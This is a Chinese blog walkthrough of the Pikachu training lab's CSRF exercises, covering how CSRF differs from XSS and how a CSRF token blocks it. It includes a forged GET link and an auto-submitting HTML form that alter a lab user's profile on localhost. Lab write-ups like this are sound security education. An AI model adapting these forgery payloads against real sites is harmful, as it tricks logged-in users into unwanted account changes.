Pikachu-CSRF【跨站请求伪造】

目录

 

CSRF(跨站请求伪造)概述

  
  Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。

CSRF和XSS的区别

    我们利用XSS可以达到盗取用户Cookie的目的,那么CSRF的区别在哪?

  • CSRF是借助用户的权限完成攻击,攻击者并没有拿到用户的权限。目标构造修改个人信息的链接,利用lucy在登录状态下点击此链接达到修改信息的目的。
  • XSS直接盗取了用户的权限,然后实施破坏。攻击者利用XSS盗取了目标的Cookie,登录lucy的后台,再修改相关信息。

 

一、CSRF(get)

 

 点击右上角提示发现用户密码如下

 

输入用户密码lili  123456

 

 

  修改一下个人信息并提交,我们来到burp抓包

 

 

 

获得参数后,我们可以通过URL进行篡改用户信息

只要点击此链接http://127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get.php?sex=girl&phonenum=13722375036&add=usa&email=lili%40pikachu.com&submit=submit

他的信息将被篡改

 

 

二、CSRF(post)

POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击。

首先还是抓包获取数据

 

 

  众所周知,post形式的构造是无法在url中体现的。所以只能从请求包中的参数想办法。这里直接使用别人写的script,思路是自己搭一个页面,诱导用户点进来,劫持用户发送修改信息的请求。

编写个post.html页面,代码如下然后诱骗受害者点击链接:http://127.0.0.1/pikachu/post.html,就会自动往服务器发送POST请求,修改手机号信息

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://http://127.0.0.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="13722375060" />
    <input id="add" type="text" name="add" value="usa" />
    <input id="email" type="text" name="email" value="lili@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

 

 三、CSRF Token

  同样的抓包,但是发现加入了token,其实和dvwa里面一样,CSRF的主要问题是敏感操作容易被伪造,以加入Token让请求不容易被伪造,每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证。

 

 

  跟前面比较,这里多了一个Token,如果后台对提交的Token进行了验证,由于Token是随机的,我们就无法伪造URL了。

 

posted @ 2020-04-01 22:07  -朱赛微-  阅读(238)  评论(0编辑  收藏  举报